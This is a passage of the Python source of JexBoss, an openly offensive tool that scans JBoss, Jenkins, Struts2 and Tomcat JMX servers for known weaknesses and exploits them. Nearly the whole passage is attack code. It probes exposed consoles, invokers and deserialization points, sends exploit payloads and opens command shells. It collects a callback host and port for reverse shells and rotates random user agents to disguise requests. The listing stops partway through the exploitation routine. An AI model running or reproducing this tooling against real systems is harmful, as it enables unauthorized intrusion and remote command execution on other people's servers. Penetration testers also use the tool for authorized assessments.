1167 lines
57 KiB
Python
1167 lines
57 KiB
Python
|
|
#!/usr/bin/env python
|
||
|
|
# -*- coding: utf-8 -*-
|
||
|
|
"""
|
||
|
|
JexBoss: Jboss verify and EXploitation Tool
|
||
|
|
https://github.com/joaomatosf/jexboss
|
||
|
|
|
||
|
|
Copyright 2013 João Filho Matos Figueiredo
|
||
|
|
|
||
|
|
Licensed under the Apache License, Version 2.0 (the "License");
|
||
|
|
you may not use this file except in compliance with the License.
|
||
|
|
You may obtain a copy of the License at
|
||
|
|
|
||
|
|
http://www.apache.org/licenses/LICENSE-2.0
|
||
|
|
|
||
|
|
Unless required by applicable law or agreed to in writing, software
|
||
|
|
distributed under the License is distributed on an "AS IS" BASIS,
|
||
|
|
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||
|
|
See the License for the specific language governing permissions and
|
||
|
|
limitations under the License.
|
||
|
|
"""
|
||
|
|
import textwrap
|
||
|
|
import traceback
|
||
|
|
import logging
|
||
|
|
import datetime
|
||
|
|
import signal
|
||
|
|
import _exploits
|
||
|
|
import _updates
|
||
|
|
from os import name, system
|
||
|
|
import os, sys
|
||
|
|
import shutil
|
||
|
|
from zipfile import ZipFile
|
||
|
|
from time import sleep
|
||
|
|
from random import randint
|
||
|
|
import argparse, socket
|
||
|
|
from sys import argv, exit, version_info
|
||
|
|
logging.captureWarnings(True)
|
||
|
|
FORMAT = "%(asctime)s (%(levelname)s): %(message)s"
|
||
|
|
logging.basicConfig(filename='jexboss_'+str(datetime.datetime.today().date())+'.log', format=FORMAT, level=logging.INFO)
|
||
|
|
|
||
|
|
__author__ = "João Filho Matos Figueiredo <joaomatosf@gmail.com>"
|
||
|
|
__version__ = "1.2.4"
|
||
|
|
|
||
|
|
RED = '\x1b[91m'
|
||
|
|
RED1 = '\033[31m'
|
||
|
|
BLUE = '\033[94m'
|
||
|
|
GREEN = '\033[32m'
|
||
|
|
BOLD = '\033[1m'
|
||
|
|
NORMAL = '\033[0m'
|
||
|
|
ENDC = '\033[0m'
|
||
|
|
|
||
|
|
|
||
|
|
def print_and_flush(message, same_line=False):
|
||
|
|
if same_line:
|
||
|
|
print (message),
|
||
|
|
else:
|
||
|
|
print (message)
|
||
|
|
if not sys.stdout.isatty():
|
||
|
|
sys.stdout.flush()
|
||
|
|
|
||
|
|
|
||
|
|
if version_info[0] == 2 and version_info[1] < 7:
|
||
|
|
print_and_flush(RED1 + BOLD + "\n * You are using the Python version 2.6. The JexBoss requires version >= 2.7.\n"
|
||
|
|
"" + GREEN + " Please install the Python version >= 2.7. \n\n"
|
||
|
|
" Example for CentOS using Software Collections scl:\n"
|
||
|
|
" # yum -y install centos-release-scl\n"
|
||
|
|
" # yum -y install python27\n"
|
||
|
|
" # scl enable python27 bash\n" + ENDC)
|
||
|
|
logging.CRITICAL('Python version 2.6 is not supported.')
|
||
|
|
exit(0)
|
||
|
|
|
||
|
|
try:
|
||
|
|
import readline
|
||
|
|
readline.parse_and_bind('set editing-mode vi')
|
||
|
|
except:
|
||
|
|
logging.warning('Module readline not installed. The terminal will not support the arrow keys.', exc_info=traceback)
|
||
|
|
print_and_flush(RED1 + "\n * Module readline not installed. The terminal will not support the arrow keys.\n" + ENDC)
|
||
|
|
|
||
|
|
|
||
|
|
try:
|
||
|
|
from urllib.parse import urlencode
|
||
|
|
except ImportError:
|
||
|
|
from urllib import urlencode
|
||
|
|
|
||
|
|
try:
|
||
|
|
from urllib3.util import parse_url
|
||
|
|
from urllib3 import PoolManager
|
||
|
|
from urllib3 import ProxyManager
|
||
|
|
from urllib3 import make_headers
|
||
|
|
from urllib3.util import Timeout
|
||
|
|
except ImportError:
|
||
|
|
print_and_flush(RED1 + BOLD + "\n * Package urllib3 not installed. Please install the dependencies before continue.\n"
|
||
|
|
"" + GREEN + " Example: \n"
|
||
|
|
" # pip install -r requires.txt\n" + ENDC)
|
||
|
|
logging.critical('Module urllib3 not installed. See details:', exc_info=traceback)
|
||
|
|
exit(0)
|
||
|
|
|
||
|
|
try:
|
||
|
|
import ipaddress
|
||
|
|
except:
|
||
|
|
print_and_flush(RED1 + BOLD + "\n * Package ipaddress not installed. Please install the dependencies before continue.\n"
|
||
|
|
"" + GREEN + " Example: \n"
|
||
|
|
" # pip install -r requires.txt\n" + ENDC)
|
||
|
|
logging.critical('Module ipaddress not installed. See details:', exc_info=traceback)
|
||
|
|
exit(0)
|
||
|
|
|
||
|
|
global gl_interrupted
|
||
|
|
gl_interrupted = False
|
||
|
|
global gl_args
|
||
|
|
global gl_http_pool
|
||
|
|
|
||
|
|
|
||
|
|
def get_random_user_agent():
|
||
|
|
user_agents = ["Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:38.0) Gecko/20100101 Firefox/38.0",
|
||
|
|
"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:38.0) Gecko/20100101 Firefox/38.0",
|
||
|
|
"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36",
|
||
|
|
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 Safari/601.3.9",
|
||
|
|
"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36",
|
||
|
|
"Mozilla/5.0 (Windows NT 5.1; rv:40.0) Gecko/20100101 Firefox/40.0",
|
||
|
|
"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)",
|
||
|
|
"Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 5.1)",
|
||
|
|
"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)",
|
||
|
|
"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0",
|
||
|
|
"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.86 Safari/537.36",
|
||
|
|
"Opera/9.80 (Windows NT 6.2; Win64; x64) Presto/2.12.388 Version/12.17",
|
||
|
|
"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0",
|
||
|
|
"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0"]
|
||
|
|
return user_agents[randint(0, len(user_agents) - 1)]
|
||
|
|
|
||
|
|
|
||
|
|
def is_proxy_ok():
|
||
|
|
print_and_flush(GREEN + "\n ** Checking proxy: %s **\n\n" % gl_args.proxy)
|
||
|
|
|
||
|
|
headers = {"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
|
||
|
|
"Connection": "keep-alive",
|
||
|
|
"User-Agent": get_random_user_agent()}
|
||
|
|
try:
|
||
|
|
r = gl_http_pool.request('GET', gl_args.host, redirect=False, headers=headers)
|
||
|
|
except:
|
||
|
|
print_and_flush(RED + " * Error: Failed to connect to %s using proxy %s.\n"
|
||
|
|
" See logs for more details...\n" %(gl_args.host,gl_args.proxy) + ENDC)
|
||
|
|
logging.warning("Failed to connect to %s using proxy" %gl_args.host, exc_info=traceback)
|
||
|
|
return False
|
||
|
|
|
||
|
|
if r.status == 407:
|
||
|
|
print_and_flush(RED + " * Error 407: Proxy authentication is required. \n"
|
||
|
|
" Please enter the correct login and password for authentication. \n"
|
||
|
|
" Example: -P http://proxy.com:3128 -L username:password\n" + ENDC)
|
||
|
|
logging.error("Proxy authentication failed")
|
||
|
|
return False
|
||
|
|
|
||
|
|
elif r.status == 503 or r.status == 502:
|
||
|
|
print_and_flush(RED + " * Error %s: The service %s is not availabel to your proxy. \n"
|
||
|
|
" See logs for more details...\n" %(r.status,gl_args.host)+ENDC)
|
||
|
|
logging.error("Service unavailable to your proxy")
|
||
|
|
return False
|
||
|
|
else:
|
||
|
|
return True
|
||
|
|
|
||
|
|
|
||
|
|
def configure_http_pool():
|
||
|
|
|
||
|
|
global gl_http_pool
|
||
|
|
|
||
|
|
if gl_args.mode == 'auto-scan' or gl_args.mode == 'file-scan':
|
||
|
|
timeout = Timeout(connect=1.0, read=3.0)
|
||
|
|
else:
|
||
|
|
timeout = Timeout(connect=gl_args.timeout, read=6.0)
|
||
|
|
|
||
|
|
if gl_args.proxy:
|
||
|
|
# when using proxy, protocol should be informed
|
||
|
|
if (gl_args.host is not None and 'http' not in gl_args.host) or 'http' not in gl_args.proxy:
|
||
|
|
print_and_flush(RED + " * When using proxy, you must specify the http or https protocol"
|
||
|
|
" (eg. http://%s).\n\n" %(gl_args.host if 'http' not in gl_args.host else gl_args.proxy) +ENDC)
|
||
|
|
logging.critical('Protocol not specified')
|
||
|
|
exit(1)
|
||
|
|
|
||
|
|
try:
|
||
|
|
if gl_args.proxy_cred:
|
||
|
|
headers = make_headers(proxy_basic_auth=gl_args.proxy_cred)
|
||
|
|
gl_http_pool = ProxyManager(proxy_url=gl_args.proxy, proxy_headers=headers, timeout=timeout, cert_reqs='CERT_NONE')
|
||
|
|
else:
|
||
|
|
gl_http_pool = ProxyManager(proxy_url=gl_args.proxy, timeout=timeout, cert_reqs='CERT_NONE')
|
||
|
|
except:
|
||
|
|
print_and_flush(RED + " * An error occurred while setting the proxy. Please see log for details..\n\n" +ENDC)
|
||
|
|
logging.critical('Error while setting the proxy', exc_info=traceback)
|
||
|
|
exit(1)
|
||
|
|
else:
|
||
|
|
gl_http_pool = PoolManager(timeout=timeout, cert_reqs='CERT_NONE')
|
||
|
|
|
||
|
|
|
||
|
|
def handler_interrupt(signum, frame):
|
||
|
|
global gl_interrupted
|
||
|
|
gl_interrupted = True
|
||
|
|
print_and_flush ("Interrupting execution ...")
|
||
|
|
logging.info("Interrupting execution ...")
|
||
|
|
exit(1)
|
||
|
|
|
||
|
|
signal.signal(signal.SIGINT, handler_interrupt)
|
||
|
|
|
||
|
|
|
||
|
|
def check_connectivity(host, port):
|
||
|
|
try:
|
||
|
|
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||
|
|
s.settimeout(2)
|
||
|
|
s.connect((str(host), int(port)))
|
||
|
|
s.close()
|
||
|
|
except socket.timeout:
|
||
|
|
logging.info("Failed to connect to %s:%s" %(host,port))
|
||
|
|
return False
|
||
|
|
except:
|
||
|
|
logging.info("Failed to connect to %s:%s" % (host, port))
|
||
|
|
return False
|
||
|
|
|
||
|
|
return True
|
||
|
|
|
||
|
|
|
||
|
|
def check_vul(url):
|
||
|
|
"""
|
||
|
|
Test if a GET to a URL is successful
|
||
|
|
:param url: The URL to test
|
||
|
|
:return: A dict with the exploit type as the keys, and the HTTP status code as the value
|
||
|
|
"""
|
||
|
|
url_check = parse_url(url)
|
||
|
|
if '443' in str(url_check.port) and url_check.scheme != 'https':
|
||
|
|
url = "https://"+str(url_check.host)+":"+str(url_check.port)+str(url_check.path)
|
||
|
|
|
||
|
|
print_and_flush(GREEN + "\n ** Checking Host: %s **\n" % url)
|
||
|
|
logging.info("Checking Host: %s" % url)
|
||
|
|
|
||
|
|
headers = {"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
|
||
|
|
"Connection": "keep-alive",
|
||
|
|
"User-Agent": get_random_user_agent()}
|
||
|
|
|
||
|
|
paths = {"jmx-console": "/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.system:type=ServerInfo",
|
||
|
|
"web-console": "/web-console/Invoker",
|
||
|
|
"JMXInvokerServlet": "/invoker/JMXInvokerServlet",
|
||
|
|
"admin-console": "/admin-console/",
|
||
|
|
"Application Deserialization": "",
|
||
|
|
"Servlet Deserialization" : "",
|
||
|
|
"Jenkins": "",
|
||
|
|
"Struts2": "",
|
||
|
|
"JMX Tomcat" : ""}
|
||
|
|
|
||
|
|
fatal_error = False
|
||
|
|
|
||
|
|
for vector in paths:
|
||
|
|
r = None
|
||
|
|
if gl_interrupted: break
|
||
|
|
try:
|
||
|
|
|
||
|
|
# check jmx tomcat only if specifically chosen
|
||
|
|
if (gl_args.jmxtomcat and vector != 'JMX Tomcat') or\
|
||
|
|
(not gl_args.jmxtomcat and vector == 'JMX Tomcat'): continue
|
||
|
|
|
||
|
|
if gl_args.app_unserialize and vector != 'Application Deserialization': continue
|
||
|
|
|
||
|
|
if gl_args.struts2 and vector != 'Struts2': continue
|
||
|
|
|
||
|
|
if gl_args.servlet_unserialize and vector != 'Servlet Deserialization': continue
|
||
|
|
|
||
|
|
if gl_args.jboss and vector not in ('jmx-console', 'web-console', 'JMXInvokerServlet', 'admin-console'): continue
|
||
|
|
|
||
|
|
if gl_args.jenkins and vector != 'Jenkins': continue
|
||
|
|
|
||
|
|
if gl_args.force:
|
||
|
|
paths[vector] = 200
|
||
|
|
continue
|
||
|
|
|
||
|
|
print_and_flush(GREEN + " [*] Checking %s: %s" % (vector, " " * (27 - len(vector))) + ENDC, same_line=True)
|
||
|
|
|
||
|
|
# check jenkins
|
||
|
|
if vector == 'Jenkins':
|
||
|
|
|
||
|
|
cli_port = None
|
||
|
|
# check version and search for CLI-Port
|
||
|
|
r = gl_http_pool.request('GET', url, redirect=True, headers=headers)
|
||
|
|
all_headers = r.getheaders()
|
||
|
|
|
||
|
|
# versions > 658 are not vulnerable
|
||
|
|
if 'X-Jenkins' in all_headers:
|
||
|
|
version = int(all_headers['X-Jenkins'].split('.')[1].split('.')[0])
|
||
|
|
if version >= 638:
|
||
|
|
paths[vector] = 505
|
||
|
|
continue
|
||
|
|
|
||
|
|
for h in all_headers:
|
||
|
|
if 'CLI-Port' in h:
|
||
|
|
cli_port = int(all_headers[h])
|
||
|
|
break
|
||
|
|
|
||
|
|
if cli_port is not None:
|
||
|
|
paths[vector] = 200
|
||
|
|
else:
|
||
|
|
paths[vector] = 505
|
||
|
|
|
||
|
|
# chek vul for Java Unserializable in Application Parameters
|
||
|
|
elif vector == 'Application Deserialization':
|
||
|
|
|
||
|
|
r = gl_http_pool.request('GET', url, redirect=False, headers=headers)
|
||
|
|
if r.status in (301, 302, 303, 307, 308):
|
||
|
|
cookie = r.getheader('set-cookie')
|
||
|
|
if cookie is not None: headers['Cookie'] = cookie
|
||
|
|
r = gl_http_pool.request('GET', url, redirect=True, headers=headers)
|
||
|
|
# link, obj = _exploits.get_param_value(r.data, gl_args.post_parameter)
|
||
|
|
obj = _exploits.get_serialized_obj_from_param(str(r.data), gl_args.post_parameter)
|
||
|
|
|
||
|
|
# if no obj serialized, check if there's a html refresh redirect and follow it
|
||
|
|
if obj is None:
|
||
|
|
# check if theres a redirect link
|
||
|
|
link = _exploits.get_html_redirect_link(str(r.data))
|
||
|
|
|
||
|
|
# If it is a redirect link. Follow it
|
||
|
|
if link is not None:
|
||
|
|
r = gl_http_pool.request('GET', url + "/" + link, redirect=True, headers=headers)
|
||
|
|
#link, obj = _exploits.get_param_value(r.data, gl_args.post_parameter)
|
||
|
|
obj = _exploits.get_serialized_obj_from_param(str(r.data), gl_args.post_parameter)
|
||
|
|
|
||
|
|
# if obj does yet None
|
||
|
|
if obj is None:
|
||
|
|
# search for other params that can be exploited
|
||
|
|
list_params = _exploits.get_list_params_with_serialized_objs(str(r.data))
|
||
|
|
if len(list_params) > 0:
|
||
|
|
paths[vector] = 110
|
||
|
|
print_and_flush(RED + " [ CHECK OTHER PARAMETERS ]" + ENDC)
|
||
|
|
print_and_flush(RED + "\n * The \"%s\" parameter does not appear to be vulnerable.\n" %gl_args.post_parameter +
|
||
|
|
" But there are other parameters that it seems to be xD!\n" +ENDC+GREEN+
|
||
|
|
BOLD+ "\n Try these other parameters: \n" +ENDC)
|
||
|
|
for p in list_params:
|
||
|
|
print_and_flush(GREEN + " -H %s" %p+ ENDC)
|
||
|
|
print ("")
|
||
|
|
elif obj is not None and obj == 'stateless':
|
||
|
|
paths[vector] = 100
|
||
|
|
elif obj is not None:
|
||
|
|
paths[vector] = 200
|
||
|
|
|
||
|
|
# chek vul for Java Unserializable in viewState
|
||
|
|
elif vector == 'Servlet Deserialization':
|
||
|
|
|
||
|
|
r = gl_http_pool.request('GET', url, redirect=False, headers=headers)
|
||
|
|
if r.status in (301, 302, 303, 307, 308):
|
||
|
|
cookie = r.getheader('set-cookie')
|
||
|
|
if cookie is not None: headers['Cookie'] = cookie
|
||
|
|
r = gl_http_pool.request('GET', url, redirect=True, headers=headers)
|
||
|
|
|
||
|
|
if r.getheader('Content-Type') is not None and 'x-java-serialized-object' in r.getheader('Content-Type'):
|
||
|
|
paths[vector] = 200
|
||
|
|
else:
|
||
|
|
paths[vector] = 505
|
||
|
|
|
||
|
|
elif vector == 'Struts2':
|
||
|
|
|
||
|
|
result = _exploits.exploit_struts2_jakarta_multipart(url, 'jexboss', gl_args.cookies)
|
||
|
|
if result is None or "Could not get command" in str(result) :
|
||
|
|
paths[vector] = 100
|
||
|
|
elif 'jexboss' in str(result) and "<html>" not in str(result).lower():
|
||
|
|
paths[vector] = 200
|
||
|
|
else:
|
||
|
|
paths[vector] = 505
|
||
|
|
|
||
|
|
elif vector == 'JMX Tomcat':
|
||
|
|
|
||
|
|
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||
|
|
s.settimeout(7)
|
||
|
|
host_rmi = url.split(':')[0]
|
||
|
|
port_rmi = int(url.split(':')[1])
|
||
|
|
s.connect((host_rmi, port_rmi))
|
||
|
|
s.send(b"JRMI\x00\x02K")
|
||
|
|
msg = s.recv(1024)
|
||
|
|
octets = str(msg[3:]).split(".")
|
||
|
|
if len(octets) != 4:
|
||
|
|
paths[vector] = 505
|
||
|
|
else:
|
||
|
|
paths[vector] = 200
|
||
|
|
|
||
|
|
# check jboss vectors
|
||
|
|
elif vector == "JMXInvokerServlet":
|
||
|
|
# user privided web-console path and checking JMXInvoker...
|
||
|
|
if "/web-console/Invoker" in url:
|
||
|
|
paths[vector] = 505
|
||
|
|
# if the user not provided the path, append the "/invoker/JMXInvokerServlet"
|
||
|
|
else:
|
||
|
|
|
||
|
|
if not url.endswith(str(paths[vector])) and not url.endswith(str(paths[vector])+"/"):
|
||
|
|
url_to_check = url + str(paths[vector])
|
||
|
|
else:
|
||
|
|
url_to_check = url
|
||
|
|
|
||
|
|
r = gl_http_pool.request('HEAD', url_to_check , redirect=False, headers=headers)
|
||
|
|
# if head method is not allowed/supported, try GET
|
||
|
|
if r.status in (405, 406):
|
||
|
|
r = gl_http_pool.request('GET', url_to_check , redirect=False, headers=headers)
|
||
|
|
|
||
|
|
# if web-console/Invoker or invoker/JMXInvokerServlet
|
||
|
|
if r.getheader('Content-Type') is not None and 'x-java-serialized-object' in r.getheader('Content-Type'):
|
||
|
|
paths[vector] = 200
|
||
|
|
else:
|
||
|
|
paths[vector] = 505
|
||
|
|
|
||
|
|
elif vector == "web-console":
|
||
|
|
# user privided JMXInvoker path and checking web-console...
|
||
|
|
if "/invoker/JMXInvokerServlet" in url:
|
||
|
|
paths[vector] = 505
|
||
|
|
# if the user not provided the path, append the "/web-console/..."
|
||
|
|
else:
|
||
|
|
|
||
|
|
if not url.endswith(str(paths[vector])) and not url.endswith(str(paths[vector]) + "/"):
|
||
|
|
url_to_check = url + str(paths[vector])
|
||
|
|
else:
|
||
|
|
url_to_check = url
|
||
|
|
|
||
|
|
r = gl_http_pool.request('HEAD', url_to_check, redirect=False, headers=headers)
|
||
|
|
# if head method is not allowed/supported, try GET
|
||
|
|
if r.status in (405, 406):
|
||
|
|
r = gl_http_pool.request('GET', url_to_check, redirect=False, headers=headers)
|
||
|
|
|
||
|
|
# if web-console/Invoker or invoker/JMXInvokerServlet
|
||
|
|
if r.getheader('Content-Type') is not None and 'x-java-serialized-object' in r.getheader('Content-Type'):
|
||
|
|
paths[vector] = 200
|
||
|
|
else:
|
||
|
|
paths[vector] = 505
|
||
|
|
|
||
|
|
# other jboss vector
|
||
|
|
else:
|
||
|
|
r = gl_http_pool.request('HEAD', url + str(paths[vector]), redirect=False, headers=headers)
|
||
|
|
# if head method is not allowed/supported, try GET
|
||
|
|
if r.status in (405, 406):
|
||
|
|
r = gl_http_pool.request('GET', url + str(paths[vector]), redirect=False, headers=headers)
|
||
|
|
# check if the server respond with 200/500 for all requests
|
||
|
|
if r.status in (200, 500):
|
||
|
|
r = gl_http_pool.request('GET', url + str(paths[vector])+ '/github.com/joaomatosf/jexboss', redirect=False,headers=headers)
|
||
|
|
|
||
|
|
if r.status == 200:
|
||
|
|
r.status = 505
|
||
|
|
else:
|
||
|
|
r.status = 200
|
||
|
|
|
||
|
|
paths[vector] = r.status
|
||
|
|
|
||
|
|
# ----------------
|
||
|
|
# Analysis of the results
|
||
|
|
# ----------------
|
||
|
|
# check if the proxy do not support running in the same port of the target
|
||
|
|
if r is not None and r.status == 400 and gl_args.proxy:
|
||
|
|
if parse_url(gl_args.proxy).port == url_check.port:
|
||
|
|
print_and_flush(RED + "[ ERROR ]\n * An error occurred because the proxy server is running on the "
|
||
|
|
"same port as the server port (port %s).\n"
|
||
|
|
" Please use a different port in the proxy.\n" % url_check.port + ENDC)
|
||
|
|
logging.critical("Proxy returns 400 Bad Request because is running in the same port as the server")
|
||
|
|
fatal_error = True
|
||
|
|
break
|
||
|
|
|
||
|
|
# check if it's false positive
|
||
|
|
if r is not None and len(r.getheaders()) == 0:
|
||
|
|
print_and_flush(RED + "[ ERROR ]\n * The server %s is not an HTTP server.\n" % url + ENDC)
|
||
|
|
logging.error("The server %s is not an HTTP server." % url)
|
||
|
|
for key in paths: paths[key] = 505
|
||
|
|
break
|
||
|
|
|
||
|
|
if paths[vector] in (301, 302, 303, 307, 308):
|
||
|
|
url_redirect = r.get_redirect_location()
|
||
|
|
print_and_flush(GREEN + " [ REDIRECT ]\n * The server sent a redirect to: %s\n" % url_redirect)
|
||
|
|
elif paths[vector] == 200 or paths[vector] == 500:
|
||
|
|
if vector == "admin-console":
|
||
|
|
print_and_flush(RED + " [ EXPOSED ]" + ENDC)
|
||
|
|
logging.info("Server %s: EXPOSED" %url)
|
||
|
|
elif vector == "Jenkins":
|
||
|
|
print_and_flush(RED + " [ POSSIBLE VULNERABLE ]" + ENDC)
|
||
|
|
logging.info("Server %s: RUNNING JENKINS" %url)
|
||
|
|
elif vector == "JMX Tomcat":
|
||
|
|
print_and_flush(RED + " [ MAYBE VULNERABLE ]" + ENDC)
|
||
|
|
logging.info("Server %s: RUNNING JENKINS" %url)
|
||
|
|
else:
|
||
|
|
print_and_flush(RED + " [ VULNERABLE ]" + ENDC)
|
||
|
|
logging.info("Server %s: VULNERABLE" % url)
|
||
|
|
elif paths[vector] == 100:
|
||
|
|
paths[vector] = 200
|
||
|
|
print_and_flush(RED + " [ INCONCLUSIVE - NEED TO CHECK ]" + ENDC)
|
||
|
|
logging.info("Server %s: INCONCLUSIVE - NEED TO CHECK" % url)
|
||
|
|
elif paths[vector] == 110:
|
||
|
|
logging.info("Server %s: CHECK OTHERS PARAMETERS" % url)
|
||
|
|
else:
|
||
|
|
print_and_flush(GREEN + " [ OK ]")
|
||
|
|
except Exception as err:
|
||
|
|
print_and_flush(RED + "\n * An error occurred while connecting to the host %s (%s)\n" % (url, err) + ENDC)
|
||
|
|
logging.info("An error occurred while connecting to the host %s" % url, exc_info=traceback)
|
||
|
|
paths[vector] = 505
|
||
|
|
|
||
|
|
if fatal_error:
|
||
|
|
exit(1)
|
||
|
|
else:
|
||
|
|
return paths
|
||
|
|
|
||
|
|
|
||
|
|
def auto_exploit(url, exploit_type):
|
||
|
|
"""
|
||
|
|
Automatically exploit a URL
|
||
|
|
:param url: The URL to exploit
|
||
|
|
:param exploit_type: One of the following
|
||
|
|
exploitJmxConsoleFileRepository: tested and working in JBoss 4 and 5
|
||
|
|
exploitJmxConsoleMainDeploy: tested and working in JBoss 4 and 6
|
||
|
|
exploitWebConsoleInvoker: tested and working in JBoss 4
|
||
|
|
exploitJMXInvokerFileRepository: tested and working in JBoss 4 and 5
|
||
|
|
exploitAdminConsole: tested and working in JBoss 5 and 6 (with default password)
|
||
|
|
"""
|
||
|
|
if exploit_type in ("Application Deserialization", "Servlet Deserialization"):
|
||
|
|
print_and_flush(GREEN + "\n * Preparing to send exploit to %s. Please wait...\n" % url)
|
||
|
|
else:
|
||
|
|
print_and_flush(GREEN + "\n * Sending exploit code to %s. Please wait...\n" % url)
|
||
|
|
|
||
|
|
result = 505
|
||
|
|
if exploit_type == "jmx-console":
|
||
|
|
|
||
|
|
result = _exploits.exploit_jmx_console_file_repository(url)
|
||
|
|
if result != 200 and result != 500:
|
||
|
|
result = _exploits.exploit_jmx_console_main_deploy(url)
|
||
|
|
|
||
|
|
elif exploit_type == "web-console":
|
||
|
|
|
||
|
|
# if the user not provided the path
|
||
|
|
if url.endswith("/web-console/Invoker") or url.endswith("/web-console/Invoker/"):
|
||
|
|
url = url.replace("/web-console/Invoker", "")
|
||
|
|
|
||
|
|
result = _exploits.exploit_web_console_invoker(url)
|
||
|
|
if result == 404:
|
||
|
|
host, port = get_host_port_reverse_params()
|
||
|
|
if host == port == gl_args.cmd == None: return False
|
||
|
|
result = _exploits.exploit_servlet_deserialization(url + "/web-console/Invoker", host=host, port=port,
|
||
|
|
cmd=gl_args.cmd, is_win=gl_args.windows, gadget=gl_args.gadget,
|
||
|
|
gadget_file=gl_args.load_gadget)
|
||
|
|
elif exploit_type == "JMXInvokerServlet":
|
||
|
|
|
||
|
|
# if the user not provided the path
|
||
|
|
if url.endswith("/invoker/JMXInvokerServlet") or url.endswith("/invoker/JMXInvokerServlet/"):
|
||
|
|
url = url.replace("/invoker/JMXInvokerServlet", "")
|
||
|
|
|
||
|
|
result = _exploits.exploit_jmx_invoker_file_repository(url, 0)
|
||
|
|
if result != 200 and result != 500:
|
||
|
|
result = _exploits.exploit_jmx_invoker_file_repository(url, 1)
|
||
|
|
if result == 404:
|
||
|
|
host, port = get_host_port_reverse_params()
|
||
|
|
if host == port == gl_args.cmd == None: return False
|
||
|
|
result = _exploits.exploit_servlet_deserialization(url + "/invoker/JMXInvokerServlet", host=host, port=port,
|
||
|
|
cmd=gl_args.cmd, is_win=gl_args.windows, gadget=gl_args.gadget,
|
||
|
|
gadget_file=gl_args.load_gadget)
|
||
|
|
|
||
|
|
elif exploit_type == "admin-console":
|
||
|
|
|
||
|
|
result = _exploits.exploit_admin_console(url, gl_args.jboss_login)
|
||
|
|
|
||
|
|
elif exploit_type == "Jenkins":
|
||
|
|
|
||
|
|
host, port = get_host_port_reverse_params()
|
||
|
|
if host == port == gl_args.cmd == None: return False
|
||
|
|
result = _exploits.exploit_jenkins(url, host=host, port=port, cmd=gl_args.cmd, is_win=gl_args.windows,
|
||
|
|
gadget=gl_args.gadget, show_payload=gl_args.show_payload)
|
||
|
|
elif exploit_type == "JMX Tomcat":
|
||
|
|
|
||
|
|
host, port = get_host_port_reverse_params()
|
||
|
|
if host == port == gl_args.cmd == None: return False
|
||
|
|
result = _exploits.exploit_jrmi(url, host=host, port=port, cmd=gl_args.cmd, is_win=gl_args.windows)
|
||
|
|
|
||
|
|
elif exploit_type == "Application Deserialization":
|
||
|
|
|
||
|
|
host, port = get_host_port_reverse_params()
|
||
|
|
|
||
|
|
if host == port == gl_args.cmd == gl_args.load_gadget == None: return False
|
||
|
|
|
||
|
|
result = _exploits.exploit_application_deserialization(url, host=host, port=port, cmd=gl_args.cmd, is_win=gl_args.windows,
|
||
|
|
param=gl_args.post_parameter, force=gl_args.force,
|
||
|
|
gadget_type=gl_args.gadget, show_payload=gl_args.show_payload,
|
||
|
|
gadget_file=gl_args.load_gadget)
|
||
|
|
|
||
|
|
elif exploit_type == "Servlet Deserialization":
|
||
|
|
|
||
|
|
host, port = get_host_port_reverse_params()
|
||
|
|
|
||
|
|
if host == port == gl_args.cmd == gl_args.load_gadget == None: return False
|
||
|
|
|
||
|
|
result = _exploits.exploit_servlet_deserialization(url, host=host, port=port, cmd=gl_args.cmd, is_win=gl_args.windows,
|
||
|
|
gadget=gl_args.gadget, gadget_file=gl_args.load_gadget)
|
||
|
|
|
||
|
|
elif exploit_type == "Struts2":
|
||
|
|
|
||
|
|
result = 200
|
||
|
|
|
||
|
|
# if it seems to be exploited (201 is for jboss exploited with gadget)
|
||
|
|
if result == 200 or result == 500 or result == 201:
|
||
|
|
|
||
|
|
# if not auto_exploit, ask type enter to continue...
|
||
|
|
if not gl_args.auto_exploit:
|
||
|
|
|
||
|
|
if exploit_type in ("Application Deserialization", "Jenkins", "JMX Tomcat", "Servlet Deserialization") or result == 201:
|
||
|
|
print_and_flush(BLUE + " * The exploit code was successfully sent. Check if you received the reverse shell\n"
|
||
|
|
" connection on your server or if your command was executed. \n"+ ENDC+
|
||
|
|
" Type [ENTER] to continue...\n")
|
||
|
|
# wait while enter is typed
|
||
|
|
input().lower() if version_info[0] >= 3 else raw_input().lower()
|
||
|
|
return True
|
||
|
|
else:
|
||
|
|
if exploit_type == 'Struts2':
|
||
|
|
shell_http_struts(url)
|
||
|
|
else:
|
||
|
|
print_and_flush(GREEN + " * Successfully deployed code! Starting command shell. Please wait...\n" + ENDC)
|
||
|
|
shell_http(url, exploit_type)
|
||
|
|
|
||
|
|
# if auto exploit mode, print message and continue...
|
||
|
|
else:
|
||
|
|
print_and_flush(GREEN + " * Successfully deployed/sended code via vector %s\n *** Run JexBoss in Standalone mode "
|
||
|
|
"to open command shell. ***" %(exploit_type) + ENDC)
|
||
|
|
return True
|
||
|
|
|
||
|
|
# if not exploited, print error messagem and ask for type enter
|
||
|
|
else:
|
||
|
|
if exploit_type == 'admin-console':
|
||
|
|
